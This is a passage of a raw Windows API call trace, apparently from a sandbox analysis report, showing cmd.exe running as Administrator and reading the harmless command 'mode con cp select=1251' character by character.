lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0101.213] WriteFile (in: hFile=0x254, lpBuffer=0x7ff6e20a9970*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0xbc75eff8c8, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e20a9970*, lpNumberOfBytesWritten=0xbc75eff8c8*=0x2, lpOverlapped=0x0) returned 1 [0101.213] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x7ff92fdd0000 [0101.213] GetProcAddress (hModule=0x7ff92fdd0000, lpProcName="CopyFileExW") returned 0x7ff92fdee830 [0101.213] GetProcAddress (hModule=0x7ff92fdd0000, lpProcName="IsDebuggerPresent") returned 0x7ff92fdee300 [0101.213] GetProcAddress (hModule=0x7ff92fdd0000, lpProcName="SetConsoleInputExeNameW") returned 0x7ff92f1b0a40 [0101.213] ??_V@YAXPEAX@Z () returned 0x1 [0101.214] _get_osfhandle (_FileHandle=0) returned 0x248 [0101.214] GetFileType (hFile=0x248) returned 0x3 [0101.214] _setmode (_FileHandle=0, _Mode=32768) returned 16384 [0101.214] NtOpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x8, OpenAsSelf=0, TokenHandle=0xbc75eff738 | out: TokenHandle=0xbc75eff738*=0x0) returned 0xc000007c [0101.214] NtOpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x8, TokenHandle=0xbc75eff738 | out: TokenHandle=0xbc75eff738*=0x94) returned 0x0 [0101.214] NtQueryInformationToken (in: TokenHandle=0x94, TokenInformationClass=0x12, TokenInformation=0xbc75eff6e8, TokenInformationLength=0x4, ReturnLength=0xbc75eff6f0 | out: TokenInformation=0xbc75eff6e8, ReturnLength=0xbc75eff6f0) returned 0x0 [0101.214] NtQueryInformationToken (in: TokenHandle=0x94, TokenInformationClass=0x1a, TokenInformation=0xbc75eff6f0, TokenInformationLength=0x4, ReturnLength=0xbc75eff6e8 | out: TokenInformation=0xbc75eff6f0, ReturnLength=0xbc75eff6e8) returned 0x0 [0101.214] NtClose (Handle=0x94) returned 0x0 [0101.214] FormatMessageW (in: dwFlags=0x1900, lpSource=0x0, dwMessageId=0x40002748, dwLanguageId=0x0, lpBuffer=0xbc75eff700, nSize=0x0, Arguments=0xbc75eff708 | out: lpBuffer="\x8320\xb43d\x21c") returned 0xf [0101.214] GetProcessHeap () returned 0x21cb43d0000 [0101.214] RtlAllocateHeap (HeapHandle=0x21cb43d0000, Flags=0x8, Size=0x218) returned 0x21cb43d6c30 [0101.338] GetConsoleTitleW (in: lpConsoleTitle=0xbc75eff750, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c [0101.924] wcsstr (_Str="C:\\WINDOWS\\system32\\cmd.exe", _SubStr="Administrator: ") returned 0x0 [0101.924] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe") returned 1 [0102.696] GetProcessHeap () returned 0x21cb43d0000 [0102.696] RtlFreeHeap (HeapHandle=0x21cb43d0000, Flags=0x0, BaseAddress=0x21cb43d6c30) returned 1 [0102.696] LocalFree (hMem=0x21cb43d8320) returned 0x0 [0102.697] _vsnwprintf (in: _Buffer=0x7ff6e20b7f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0xbc75eff578 | out: _Buffer="\r\n") returned 2 [0102.697] _get_osfhandle (_FileHandle=1) returned 0x254 [0102.697] GetFileType (hFile=0x254) returned 0x3 [0102.697] _get_osfhandle (_FileHandle=1) returned 0x254 [0102.697] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x7ff6e20a9970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0102.697] WriteFile (in: hFile=0x254, lpBuffer=0x7ff6e20a9970*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0xbc75eff548, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e20a9970*, lpNumberOfBytesWritten=0xbc75eff548*=0x2, lpOverlapped=0x0) returned 1 [0102.697] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x7ff6e20abb90, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0102.697] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x21cb44d0080 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0102.697] malloc (_Size=0x107ce) returned 0x21cb44e0060 [0102.698] _vsnwprintf (in: _Buffer=0x21cb44e0060, _BufferCount=0x83e5, _Format="%s", _ArgList=0xbc75eff588 | out: _Buffer="C:\\Users\\FD1HVy\\Desktop") returned 23 [0102.698] _vsnwprintf (in: _Buffer=0x21cb44e008e, _BufferCount=0x83ce, _Format="%c", _ArgList=0xbc75eff588 | out: _Buffer=">") returned 1 [0102.698] _get_osfhandle (_FileHandle=1) returned 0x254 [0102.698] GetFileType (hFile=0x254) returned 0x3 [0102.698] _get_osfhandle (_FileHandle=1) returned 0x254 [0102.698] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\Desktop>", cchWideChar=-1, lpMultiByteStr=0x7ff6e20a9970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\Desktop>", lpUsedDefaultChar=0x0) returned 25 [0102.698] WriteFile (in: hFile=0x254, lpBuffer=0x7ff6e20a9970*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0xbc75eff578, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e20a9970*, lpNumberOfBytesWritten=0xbc75eff578*=0x18, lpOverlapped=0x0) returned 1 [0102.698] _get_osfhandle (_FileHandle=0) returned 0x248 [0102.698] GetFileType (hFile=0x248) returned 0x3 [0102.698] _get_osfhandle (_FileHandle=0) returned 0x248 [0102.698] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0102.698] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6e20a9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xbc75eff8d8, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e20a9970*, lpNumberOfBytesRead=0xbc75eff8d8*=0x1, lpOverlapped=0x0) returned 1 [0102.698] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6e20a9970, cbMultiByte=1, lpWideCharStr=0x7ff6e20b3c30, cchWideChar=1 | out: lpWideCharStr="m") returned 1 [0102.698] _get_osfhandle (_FileHandle=0) returned 0x248 [0102.698] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0102.698] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6e20a9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xbc75eff8d8, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e20a9970*, lpNumberOfBytesRead=0xbc75eff8d8*=0x1, lpOverlapped=0x0) returned 1 [0102.699] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6e20a9970, cbMultiByte=1, lpWideCharStr=0x7ff6e20b3c32, cchWideChar=1 | out: lpWideCharStr="o") returned 1 [0102.699] _get_osfhandle (_FileHandle=0) returned 0x248 [0102.699] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0102.699] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6e20a9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xbc75eff8d8, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e20a9970*, lpNumberOfBytesRead=0xbc75eff8d8*=0x1, lpOverlapped=0x0) returned 1 [0102.699] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6e20a9970, cbMultiByte=1, lpWideCharStr=0x7ff6e20b3c34, cchWideChar=1 | out: lpWideCharStr="d") returned 1 [0102.699] _get_osfhandle (_FileHandle=0) returned 0x248 [0102.699] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0102.699] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6e20a9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xbc75eff8d8, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e20a9970*, lpNumberOfBytesRead=0xbc75eff8d8*=0x1, lpOverlapped=0x0) returned 1 [0102.699] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6e20a9970, cbMultiByte=1, lpWideCharStr=0x7ff6e20b3c36, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0102.699] _get_osfhandle (_FileHandle=0) returned 0x248 [0102.699] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0102.699] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6e20a9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xbc75eff8d8, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e20a9970*, lpNumberOfBytesRead=0xbc75eff8d8*=0x1, lpOverlapped=0x0) returned 1 [0102.699] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6e20a9970, cbMultiByte=1, lpWideCharStr=0x7ff6e20b3c38, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0102.699] _get_osfhandle (_FileHandle=0) returned 0x248 [0102.699] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0102.699] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6e20a9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xbc75eff8d8, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e20a9970*, lpNumberOfBytesRead=0xbc75eff8d8*=0x1, lpOverlapped=0x0) returned 1 [0102.699] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6e20a9970, cbMultiByte=1, lpWideCharStr=0x7ff6e20b3c3a, cchWideChar=1 | out: lpWideCharStr="c") returned 1 [0102.699] _get_osfhandle (_FileHandle=0) returned 0x248 [0102.699] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0102.699] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6e20a9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xbc75eff8d8, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e20a9970*, lpNumberOfBytesRead=0xbc75eff8d8*=0x1, lpOverlapped=0x0) returned 1 [0102.699] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6e20a9970, cbMultiByte=1, lpWideCharStr=0x7ff6e20b3c3c, cchWideChar=1 | out: lpWideCharStr="o") returned 1 [0102.699] _get_osfhandle (_FileHandle=0) returned 0x248 [0102.699] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0102.699] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6e20a9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xbc75eff8d8, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e20a9970*, lpNumberOfBytesRead=0xbc75eff8d8*=0x1, lpOverlapped=0x0) returned 1 [0102.699] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6e20a9970, cbMultiByte=1, lpWideCharStr=0x7ff6e20b3c3e, cchWideChar=1 | out: lpWideCharStr="n") returned 1 [0102.699] _get_osfhandle (_FileHandle=0) returned 0x248 [0102.699] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0102.700] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6e20a9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xbc75eff8d8, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e20a9970*, lpNumberOfBytesRead=0xbc75eff8d8*=0x1, lpOverlapped=0x0) returned 1 [0102.700] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6e20a9970, cbMultiByte=1, lpWideCharStr=0x7ff6e20b3c40, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0102.700] _get_osfhandle (_FileHandle=0) returned 0x248 [0102.700] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0102.700] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6e20a9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xbc75eff8d8, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e20a9970*, lpNumberOfBytesRead=0xbc75eff8d8*=0x1, lpOverlapped=0x0) returned 1 [0102.700] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6e20a9970, cbMultiByte=1, lpWideCharStr=0x7ff6e20b3c42, cchWideChar=1 | out: lpWideCharStr="c") returned 1 [0102.700] _get_osfhandle (_FileHandle=0) returned 0x248 [0102.700] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0102.700] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6e20a9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xbc75eff8d8, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e20a9970*, lpNumberOfBytesRead=0xbc75eff8d8*=0x1, lpOverlapped=0x0) returned 1 [0102.700] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6e20a9970, cbMultiByte=1, lpWideCharStr=0x7ff6e20b3c44, cchWideChar=1 | out: lpWideCharStr="p") returned 1 [0102.700] _get_osfhandle (_FileHandle=0) returned 0x248 [0102.700] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0102.700] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6e20a9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xbc75eff8d8, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e20a9970*, lpNumberOfBytesRead=0xbc75eff8d8*=0x1, lpOverlapped=0x0) returned 1 [0102.700] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6e20a9970, cbMultiByte=1, lpWideCharStr=0x7ff6e20b3c46, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0102.700] _get_osfhandle (_FileHandle=0) returned 0x248 [0102.700] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0102.700] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6e20a9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xbc75eff8d8, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e20a9970*, lpNumberOfBytesRead=0xbc75eff8d8*=0x1, lpOverlapped=0x0) returned 1 [0102.700] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6e20a9970, cbMultiByte=1, lpWideCharStr=0x7ff6e20b3c48, cchWideChar=1 | out: lpWideCharStr="s") returned 1 [0102.700] _get_osfhandle (_FileHandle=0) returned 0x248 [0102.700] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0102.700] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6e20a9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xbc75eff8d8, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e20a9970*, lpNumberOfBytesRead=0xbc75eff8d8*=0x1, lpOverlapped=0x0) returned 1 [0102.700] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6e20a9970, cbMultiByte=1, lpWideCharStr=0x7ff6e20b3c4a, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0102.700] _get_osfhandle (_FileHandle=0) returned 0x248 [0102.700] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0102.700] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6e20a9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xbc75eff8d8, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e20a9970*, lpNumberOfBytesRead=0xbc75eff8d8*=0x1, lpOverlapped=0x0) returned 1 [0102.700] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6e20a9970, cbMultiByte=1, lpWideCharStr=0x7ff6e20b3c4c, cchWideChar=1 | out: lpWideCharStr="l") returned 1 [0102.700] _get_osfhandle (_FileHandle=0) returned 0x248 [0102.700] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0102.701] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6e20a9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xbc75eff8d8, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e20a9970*, lpNumberOfBytesRead=0xbc75eff8d8*=0x1, lpOverlapped=0x0) returned 1 [0102.701] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6e20a9970, cbMultiByte=1, lpWideCharStr=0x7ff6e20b3c4e, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0102.701] _get_osfhandle (_FileHandle=0) returned 0x248 [0102.701] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0102.701] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6e20a9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xbc75eff8d8, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e20a9970*, lpNumberOfBytesRead=0xbc75eff8d8*=0x1, lpOverlapped=0x0) returned 1 [0102.701] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6e20a9970, cbMultiByte=1, lpWideCharStr=0x7ff6e20b3c50, cchWideChar=1 | out: lpWideCharStr="c") returned 1 [0102.701] _get_osfhandle (_FileHandle=0) returned 0x248 [0102.701] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0102.701] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6e20a9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xbc75eff8d8, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e20a9970*, lpNumberOfBytesRead=0xbc75eff8d8*=0x1, lpOverlapped=0x0) returned 1 [0102.701] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6e20a9970, cbMultiByte=1, lpWideCharStr=0x7ff6e20b3c52, cchWideChar=1 | out: lpWideCharStr="t") returned 1 [0102.701] _get_osfhandle (_FileHandle=0) returned 0x248 [0102.701] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0102.701] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6e20a9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xbc75eff8d8, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e20a9970*, lpNumberOfBytesRead=0xbc75eff8d8*=0x1, lpOverlapped=0x0) returned 1 [0102.701] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6e20a9970, cbMultiByte=1, lpWideCharStr=0x7ff6e20b3c54, cchWideChar=1 | out: lpWideCharStr="=") returned 1 [0102.701] _get_osfhandle (_FileHandle=0) returned 0x248 [0102.701] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0102.701] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6e20a9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xbc75eff8d8, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e20a9970*, lpNumberOfBytesRead=0xbc75eff8d8*=0x1, lpOverlapped=0x0) returned 1 [0102.701] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6e20a9970, cbMultiByte=1, lpWideCharStr=0x7ff6e20b3c56, cchWideChar=1 | out: lpWideCharStr="1") returned 1 [0102.701] _get_osfhandle (_FileHandle=0) returned 0x248 [0102.701] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0102.701] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6e20a9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xbc75eff8d8, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e20a9970*, lpNumberOfBytesRead=0xbc75eff8d8*=0x1, lpOverlapped=0x0) returned 1 [0102.701] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6e20a9970, cbMultiByte=1, lpWideCharStr=0x7ff6e20b3c58, cchWideChar=1 | out: lpWideCharStr="2") returned 1 [0102.701] _get_osfhandle (_FileHandle=0) returned 0x248 [0102.701] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0102.701] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6e20a9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xbc75eff8d8, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e20a9970*, lpNumberOfBytesRead=0xbc75eff8d8*=0x1, lpOverlapped=0x0) returned 1 [0102.701] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6e20a9970, cbMultiByte=1, lpWideCharStr=0x7ff6e20b3c5a, cchWideChar=1 | out: lpWideCharStr="5") returned 1 [0102.701] _get_osfhandle (_FileHandle=0) returned 0x248 [0102.702] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0102.702] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6e20a9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xbc75eff8d8, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e20a9970*, lpNumberOfBytesRead=0xbc75eff8d8*=0x1, lpOverlapped=0x0) returned 1 [0102.702] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6e20a9970, cbMultiByte=1, lpWideCharStr=0x7ff6e20b3c5c, cchWideChar=1 | out: lpWideCharStr="1") returned 1 [0102.702] _get_osfhandle (_FileHandle=0) returned 0x248 [0102.702] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0102.702] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6e20a9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xbc75eff8d8, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e20a9970*, lpNumberOfBytesRead=0xbc75eff8d8*=0x1, lpOverlapped=0x0) returned 1 [0102.702] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6e20a9970, cbMultiByte=1, lpWideCharStr=0x7ff6e20b3c5e, cchWideChar=1 | out: lpWideCharStr="\n") returned 1 [0102.702] _get_osfhandle (_FileHandle=0) returned 0x248 [0102.702] GetFileType (hFile=0x248) returned 0x3 [0102.702] _get_osfhandle (_FileHandle=0) returned 0x248 [0102.702] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0102.702] _get_osfhandle (_FileHandle=1) returned 0x254 [0102.702] GetFileType (hFile=0x254) returned 0x3 [0102.702] _get_osfhandle (_FileHandle=1) returned 0x254 [0102.702] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="mode con cp select=1251\n", cchWideChar=-1, lpMultiByteStr=0x7ff6e20a9970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mode con cp select=1251\n", lpUsedDefaultChar=0x0) returned 25 [0102.702] WriteFile (in: hFile=0x254, lpBuffer=0x7ff6e20a9970*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0xbc75eff878, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e20a9970*, lpNumberOfBytesWritten=0xbc75eff878*=0x18, lpOverlapped=0x0) returned 1 [0102.703] GetProcessHeap () returned 0x21cb43d0000 [0102.703] RtlAllocateHeap (HeapHandle=0x21cb43d0000, Flags=0x8, Size=0x4012) returned 0x21cb43d8fe0 [0102.703] GetProcessHeap () returned 0x21cb43d0000 [0102.703] RtlFreeHeap (HeapHandle=0x21cb43d0000, Flags=0x0, BaseAddress=0x21cb43d8fe0) returned 1 [0102.703] _wcsicmp (_String1="mode", _String2=")") returned 68 [0102.703] _wcsicmp (_String1="FOR", _String2="mode") returned -7 [0102.703] _wcsicmp (_String1="FOR/?", _String2="mode") returned -7 [0102.703] _wcsicmp (_String1="IF", _String2="mode") returned -4 [0102.703] _wcsicmp (_String1="IF/?", _String2="mode") returned -4 [0102.703] _wcsicmp (_String1="REM", _String2="mode") returned 5 [0102.703] _wcsicmp (_String1="REM/?", _String2="mode") returned 5 [0102.703] GetProcessHeap () returned 0x21cb43d0000 [0102.703] RtlAllocateHeap (HeapHandle=0x21cb43d0000, Flags=0x8, Size=0xb0) returned 0x21cb43d8320 [0102.703] GetProcessHeap () returned 0x21cb43d0000 [0102.703] RtlAllocateHeap (HeapHandle=0x21cb43d0000, Flags=0x8, Size=0x1a) returned 0x21cb43d6a80 [0102.704] GetProcessHeap () returned 0x21cb43d0000 [0102.704] RtlAllocateHeap (HeapHandle=0x21cb43d0000, Flags=0x8, Size=0x38) returned 0x21cb43d1850 [0102.705] GetConsoleOutputCP () returned 0x1b5 [0102.922] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff6e20afbb0 | out: lpCPInfo=0x7ff6e20afbb0) returned 1 [0102.922] SetThreadUILanguage (LangId=0x0) returned 0x409 [0103.418] GetConsoleTitleW (in: lpConsoleTitle=0xbc75eff6c0, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe") returned 0x2b [0103.538] malloc (_Size=0xffce) returned 0x21cb44f0840 [0103.539] ??_V@YAXPEAX@Z () returned 0x21cb44f0840 [0103.539] malloc (_Size=0xffce) returned 0x21cb4500820 [0103.539] ??_V@YAXPEAX@Z () returned 0x21cb4500820 [0103.540] _wcsicmp (_String1="mode", _String2="DIR") returned 9 [0103.540] _wcsicmp (_String1="mode", _String2="ERASE") returned 8 [0103.540] _wcsicmp (_String1="mode", _String2="DEL") returned 9 [0103.540] _wcsicmp (_String1="mode", _String2="TYPE") returned -7 [0103.540] _wcsicmp (_String1="mode", _String2="COPY") returned 10 [0103.540] _wcsicmp (_String1="mode", _String2="CD") returned 10 [0103.540] _wcsicmp (_String1="mode", _String2="CHDIR") returned 10 [0103.540] _wcsicmp (_String1="mode", _String2="RENAME") returned -5 [0103.540] _wcsicmp (_String1="mode", _String2="REN") returned -5 [0103.540] _wcsicmp (_String1="mode", _String2="ECHO") returned 8 [0103.540] _wcsicmp (_String1="mode", _String2="SET") returned -6 [0103.540] _wcsicmp (_String1="mode", _String2="PAUSE") returned -3 [0103.540] _wcsicmp (_String1="mode", 